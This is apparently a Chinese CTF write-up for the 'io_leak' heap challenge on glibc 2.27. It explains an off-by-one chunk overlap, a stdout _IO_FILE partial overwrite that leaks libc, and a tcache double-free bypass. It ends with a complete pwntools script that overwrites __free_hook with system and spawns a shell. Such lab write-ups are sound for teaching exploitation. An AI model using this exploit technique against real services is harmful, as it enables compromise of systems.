实验平台:
x86_64, Ubuntu 18.04.6 LTS, Kernel 4.15.0-170-generic
GLIBC 2.27-3ubuntu1.5
实验Binary及答案:https://github.com/bjrjk/pwn-learning/tree/main/IO_FILE/io_leak
ELF安全性:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
amd64体系结构,保护全开。
IDA反编译后的代码如下:
unsigned __int64 init_buf()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
alarm(60u);
return __readfsqword(0x28u) ^ v1;
}
unsigned __int64 __fastcall read_str(char *buf, int size)
{
int i; // [rsp+18h] [rbp-18h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]
v5 = __readfsqword(0x28u);
for ( i = 0; i < size; ++i )
{
if ( (unsigned int)read(0, buf, 1uLL) == -1 )
exit(1);
if ( *buf == 10 )
break;
++buf;
}
return __readfsqword(0x28u) ^ v5;
}
__int64 read_int()
{
char nptr[8]; // [rsp+0h] [rbp-10h] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
read_str(nptr, 8);
return atol(nptr);
}
unsigned __int64 menu()
{
unsigned __int64 v1; // [rsp+8h] [rbp-8h]
v1 = __readfsqword(0x28u);
puts("1.Add");
puts("2.Delete");
puts("3.Exit");
puts(">>>");
return __readfsqword(0x28u) ^ v1;
}
unsigned __int64 add()
{
unsigned __int64 id; // [rsp+8h] [rbp-18h]
unsigned __int64 size; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
puts("idx:");
id = read_int();
if ( id > 0xF )
{
puts("error.");
exit(1);
}
puts("len:");
size = read_int();
if ( size > 0xFFF )
{
puts("error.");
exit(1);
}
notes_size[id] = size + 1; // vulnerable, offbyone
notes[id] = (char *)malloc(size);
puts("content:");
read(0, notes[id], notes_size[id]);
return __readfsqword(0x28u) ^ v3;
}
unsigned __int64 delete()
{
unsigned __int64 v1; // [rsp+0h] [rbp-10h]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
puts("idx:");
v1 = read_int();
if ( v1 > 0xF || !notes[v1] )
{
puts("error.");
exit(1);
}
free(notes[v1]);
notes[v1] = 0LL;
notes_size[v1] = 0LL;
return __readfsqword(0x28u) ^ v2;
}
__int64 exit_s()
{
return 0LL;
}
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
__int64 v3; // rax
init_buf();
puts("Useless safebox.");
while ( 1 )
{
menu();
v3 = read_int();
switch ( v3 )
{
case 2LL:
delete();
break;
case 3LL:
exit_s();
break;
case 1LL:
add();
break;
}
}
}
本题目的漏洞点是一个offbyone,我们可以利用堆块覆盖来实现double free的利用。
在本题目中,可以明显地看到,只有添加堆块和删除堆块功能。我们泄露不了libc的基址。所以我们必须另找一个方法。这个方法就是利用IO_FILE结构,实现任意地址读。下面先对IO_FILE做一个大概的介绍。
_IO_FILE
首先,我们来了解_IO_FILE
结构体在文件读写流程中所处的位置。
学过操作系统的人都知道,应用程序对一切与进程外的交互操作利用系统调用实现。系统调用比较底层,作为普通编程者,一般不会直接使用系统调用完成各项操作,而是使用libc给我们提供的封装好的各种函数与结构体对文件进行操作。而_IO_FILE
结构体恰好就是libc中,为用户封装好的结构体。
_IO_FILE
结构体主要负责处理输入输出过程中,数据缓冲的相关事宜。其结构体定义[1]如下:
struct _IO_FILE
{
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
/* The following pointers correspond to the C++ streambuf protocol. */
char *_IO_read_ptr; /* Current read pointer */
char *_IO_read_end; /* End of get area. */
char *_IO_read_base; /* Start of putback+get area. */
char *_IO_write_base; /* Start of put area. */
char *_IO_write_ptr; /* Current put pointer. */
char *_IO_write_end; /* End of put area. */
char *_IO_buf_base; /* Start of reserve area. */
char *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */
struct _IO_marker *_markers;
struct _IO_FILE *_chain;
int _fileno;
int _flags2;
__off_t _old_offset; /* This used to be _offset but it's too small. */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1];
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};
其中, char *_IO_*
指针都是负责数据缓冲区的相关指针。
而stdin,stdout和stderr都会使用这个结构体,名称分别是_IO_2_1_stdin_
,_IO_2_1_stdout_
,_IO_2_1_stderr_
。他们都开在libc的数据段上。与此相对应的,他们的buf也都开在libc的数据段上,而且还是在结构体的后面。因此,此结构体中的_IO_*
指针的高位指向的都是libc地址。
因此,为了实现任意地址读,一个很直观的想法就是把_IO_write_base
改成我们想要的地址。而我们想要泄露libc地址,只需要改掉_IO_write_base
的低位,就可以把结构体的内容输出出来,从而达到泄露libc地址的目的。
但是光改这一个地方还不够,还需要去改掉_flags
域。其定义[2]如下:
/* Magic number and bits for the _flags field. The magic number is
mostly vestigial, but preserved for compatibility. It occupies the
high 16 bits of _flags; the low 16 bits are actual flag bits. */
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 0x0001 /* Don't deallocate buffer on close. */
#define _IO_UNBUFFERED 0x0002
#define _IO_NO_READS 0x0004 /* Reading not allowed. */
#define _IO_NO_WRITES 0x0008 /* Writing not allowed. */
#define _IO_EOF_SEEN 0x0010
#define _IO_ERR_SEEN 0x0020
#define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close. */
#define _IO_LINKED 0x0080 /* In the list of all open files. */
#define _IO_IN_BACKUP 0x0100
#define _IO_LINE_BUF 0x0200
#define _IO_TIED_PUT_GET 0x0400 /* Put and get pointer move in unison. */
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
/* 0x4000 No longer used, reserved for compat. */
#define _IO_USER_LOCK 0x8000
修改方法是,需要将原本的_flags
或上_IO_CURRENTLY_PUTTING
和_IO_IS_APPENDING
,即0x1800
。具体原因请参考[3]。
为了能够改到stdout,我们使用Offbyone首先做堆块覆盖,然后UAF,把下一个堆块地址引向_IO_2_1_stdout_
的所在位置,即可进行覆写。
注意:因为地址随机化只有低12比特保持不变,而我们覆写地址的时候只能复写8比特的倍数。因此第2字节的高半部必须进行爆破。中奖率1/16。
TCache Double Free的绕过
本题目中使用的Ubuntu18.04的glibc的tcache已经有double free检测了。非常不幸,所以我们后期在做hook覆盖的时候必须把这个问题绕过去。所以我再来讲一下这个问题。
TCache的MetaData结构体如下:
/* We overlay this structure on the user-data portion of a chunk when
the chunk is stored in the per-thread cache. */
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
struct tcache_perthread_struct *key;
} tcache_entry;
对double free域的设置如下:
/* Caller must ensure that we know tc_idx is valid and there's room
for more chunks. */
static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
assert (tc_idx < TCACHE_MAX_BINS);
/* Mark this chunk as "in the tcache" so the test in _int_free will
detect a double free. */
e->key = tcache;
e->next = tcache->entries[tc_idx];
tcache->entries[tc_idx] = e;
++(tcache->counts[tc_idx]);
}
可以看出,将Chunk加入TCache时,在原本bk
域的位置加入了key
域,将指针设为tcache
的值。下次再free时,如果检测到这个值不是tcache
,就能够继续运行。
为了绕过这个问题,我们可以首先让tcache填满,迫使chunk进入(fast/unsorted)bin。要使用double free的chunk的时候,再把tcache里的东西都取出来,之后bins里的chunk会再进入tcache。这个时候double free就检测不到了。
Exp
直接上Exp。有些关键点我后面再解释。
#!/usr/bin/env python2
# coding = utf-8
from pwn import *
from LibcSearcher import *
context(arch = "amd64", os = "linux", log_level = "debug")
def send_choice(choice):
p.recvuntil('>>>\n')
p.sendline(str(choice))
def add(id, len, content):
send_choice(1)
p.recvuntil('idx:\n')
p.sendline(str(id))
p.recvuntil('len:\n')
p.sendline(str(len))
p.recvuntil('content:\n')
p.send(content)
def delete(id):
send_choice(2)
p.recvuntil('idx:\n')
p.sendline(str(id))
def leak_libc():
_IO_FLAG = 0xfbad3887
add(0, 1, '\n') # Chunk #0 to do offbyone
add(1, 0x4f0, '\n') # The Large Chunk #1 whose range in UnsortedBin and whose size will be modified
add(2, 0xb0, '\n') # The overlapped Chunk #2
add(3, 0xb0, '\n') # The chunk to gap between top chunk preventing from consolidating
for i in range(7, 15):
add(i, 0x60, '\n') # Chunk #8 ~ #14 for future usage
delete(2) # Send Chunk #2 to TCache immediately or malloc fail sending after faking enlarged Chunk #1
delete(0) # Recreate the Chunk #0 to fake Chunk #1 's size to overlap original Chunk #2
add(0, 0x18, '/bin/sh\x00' * 3 + '\xc1')
delete(1) # Send the unioned 0x5c0 size chunk to UnsortedBin
add(1, 0x4f0, '\n') # Split the Chunk #1 out, lefting Chunk #2 in sortedBin
# Currently Chunk #2 in both TCache & UnsortedBin! Leaked libc address in Chunk #2 's `fd` field.
add(4, 0x60, '\x60\x47') # Write random Address of stdout in `fd` to allocate a next chunk on (maybe) _IO_FILE struct `stdout`, predication accuracy 1/16
add(2, 0xb0, '\n')
add(5, 0xb0, p64(_IO_FLAG) + p64(0) * 3 + '\x80') # Write IO_FLAG & _IO_write_base's low byte to point to itself
elf = ELF('./io_leak')
# gdb.attach(p, '')
while True:
try:
p = process('./io_leak')
leak_libc()
stdout_IO_write_base = p.recvuntil('\x7f', timeout=0.5)
if len(stdout_IO_write_base) != 0:
break
except Exception:
p.close()
continue
stdout = u64(stdout_IO_write_base.ljust(8, '\x00')) - 0x20
log.info('stdout: ' + hex(stdout))
libc = LibcSearcher('_IO_2_1_stdout_', stdout)
libc_base = stdout - libc.dump('_IO_2_1_stdout_')
system_libc = libc_base + libc.dump('system')
free_hook = libc_base + libc.dump('__free_hook')
log.info('libc_base: ' + hex(libc_base))
log.info('system_libc: ' + hex(system_libc))
log.info('free_hook: ' + hex(free_hook))
gdb.attach(p, '')
for i in range(8, 15):
delete(i) # Fill TCache Bins to prevent from TCache double free detection
delete(2) # FastBin Double Free
delete(7)
delete(4)
for i in range(8, 15):
add(i, 0x60, '\n') # Release TCache Bins
add(2, 0x60, p64(free_hook)) # TCache has no `size` field check, so we can write any address
add(7, 0x60, '\n')
add(4, 0x60, '\n')
add(6, 0x60, p64(system_libc)) # write `system` to `free_hook`
delete(0) # UserMem of Chunk #0 start with '/bin/sh\x00'
p.interactive()
由于需要爆破_IO_2_1_stdout_
的地址,所以专门写个函数和while循环用来爆破。
leak_libc
函数的大体过程如下:
- 预先申请Chunk给后面填充TCache防止Double free出错用。
- Chunk #0改写Chunk #1的size去覆盖Chunk #2。
- 回收Chunk #2进TCache,回收Chunk #1+#2进UnsortedBin。
- 从UnsortedBin里把Chunk #1申请出来。这样Chunk #2既在TCache里也在UnsortedBin里。
- 申请UnsortedBin的Chunk #2,覆写TCache MetaData的next域到
_IO_2_1_stdout_
- 如果成功继续进行,否则报Exception重来。
接下来的步骤:
- 泄露libc。
- 填满TCache,然后做FastBin上的Double Free操作。
- 把TCache上的Chunk拓展到
__free_hook
处。此处注意,TCache的申请堆块不检查size域,因此虽然__free_hook
前面为全0,但是不影响堆块申请。 - 把
__free_hook
写成system
。 - 之前已经往堆块上写了
/bin/sh\x00
,直接执行delete(堆块id)
就等价于system("/bin/sh")
。getshell成功。
参考资料:
[1] https://code.woboq.org/userspace/glibc/libio/bits/types/struct_FILE.h.html
[2] https://code.woboq.org/userspace/glibc/libio/libio.h.html
[3] http://pzhxbz.cn/?p=139
[4] https://code.woboq.org/userspace/glibc/malloc/malloc.c.html